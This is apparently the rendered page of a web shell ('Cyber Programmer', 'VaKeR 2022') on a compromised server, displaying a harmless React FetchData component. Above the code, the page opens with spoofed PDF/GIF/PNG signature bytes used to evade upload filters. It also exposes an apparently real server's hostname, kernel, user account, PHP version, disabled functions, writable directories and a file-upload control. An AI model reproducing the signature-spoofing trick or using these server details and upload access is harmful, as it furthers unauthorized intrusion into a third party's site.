%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/vendor/cakedc/mixer/src/React/components/FetchData/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/vendor/cakedc/mixer/src/React/components/FetchData/FetchData.js
import React, { Component } from 'react'
import { connect } from 'react-redux'

import { Loader } from '../Loader'
import { fetchDataIfNeeded } from './actions'

class FetchData extends Component {

    componentDidMount() {
        const { dispatch, query, namespace } = this.props
        dispatch(fetchDataIfNeeded(namespace, query))
    }

    componentDidUpdate(prevProps) {
        if (this.props.query !== prevProps.query) {
            const { dispatch, query, namespace } = this.props
            dispatch(fetchDataIfNeeded(namespace, query))
        }
    }

    render() {
        const { data, isFetching } = this.props

        return (
            <div className="clearfix">
                {isFetching && data === null &&
                <div className="box box-default box-empty">
                    <div className="box-body" />
                    <Loader />
                </div>
                }
                {!isFetching && (data === null || data.length === 0) &&
                    <div className="alert alert-warning">Nothing found on your request</div>
                }
                {data !== null &&
                    React.Children.map(this.props.children, (child) => React.cloneElement(child, { data, isFetching }))
                }
            </div>
        );
    }
}

function mapStateToProps(state, ownProps) {
    const { query, namespace } = ownProps || {
        query: ''
    }

    const { isFetching, data } = state[namespace] || {
        isFetching: false,
        data: null
    }

    return { query, data, isFetching }
}

export default connect(mapStateToProps)(FetchData)

VaKeR 2022